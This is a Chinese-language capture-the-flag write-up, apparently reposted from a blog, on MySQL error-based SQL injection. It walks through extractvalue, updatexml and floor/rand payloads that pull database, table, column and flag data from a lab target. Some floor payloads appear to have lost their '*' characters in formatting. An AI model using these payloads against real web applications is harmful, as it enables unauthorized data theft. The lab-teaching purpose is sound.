sql报错注入

判断注入

当场景中仅仅将sql语句带入查询返回页面正确,没有返回点的时候,
需要报错注入,用报错的回显。

三种方法 extractvalue() updatexml() floor()

1.extractvalue报错注入: 0x7e就是~ 用来区分数据

里面用slect语句,不能用 union select

concat()函数

1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1, str2,...)  
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

extractvalue报错注入语句格式:

?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))

爆数据库名

?id=2 and extractvalue(null,concat(0x7e,(database()),0x7e))
得到数据库名sqli

爆表名 limit 0,1是第一个数据 limit 1,1 是第二个数据

?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 0,1),0x7e))
得到第一个表名news
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e))
得到第二个表名flag

爆flag表列名 table_schema:表所属数据库名称 table_name:表名称

?id=2 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e))
得到flag表中第一个字段名为flag
测试 limit 1,1 时无返回所以应该就一个字段

爆flag

?id=2 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
得到一半的flag:ctfhub{d777b4f07afe921643e72497

只显示32位结果,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。

?id=2 and extractvalue(null,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e))
得到最后一半flag:de0a2f07395ef8bb}

合并得到flag ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}

?id=2+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
对比
合并得到flag ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}

2.xmlupdate 和 extractvalue同理

数据库

?id=2 and (updatexml(1,concat(0x7e,(database()),0x7e),1))
得到数据库sqli

表名

?id=2+and+(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e),1))
得到表名flag

列名

?id=2+and+(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e),1))
得到列名flag

爆flag 注意是group_concat 列名 表名

?id=2+and+(updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1))
得到ctfhub{d777b4f07afe921643e72497

爆后一半同extractvalue方法

?id=2+and+(updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1))

合成得到ctfhub{d777b4f07afe921643e72497de0a2f07395ef8bb}

3.floor 报错 这个比较麻烦,我直接用的hackbar自带payload。。。

爆数据库

+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到数据库 sqli

爆表

?id=1+AND(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出第一个表为news 修改为limit 1,1 得出为flag表

爆列名

?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x666c6167+AND+table_schema=0x73716c69+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得出列名为flag

最终payload

?id=1+AND+(SELECT+1+FROM+(SELECT+COUNT(),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(flag)+AS+CHAR),0x7e))+FROM+sqli.flag+LIMIT+0,1),FLOOR(RAND(0)2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
得到ctfhub{27b940d5fcab0bfddfc162ed1b6a95dd9b6de02d}

原文地址:https://www.cnblogs.com/threesoil/p/12458580.html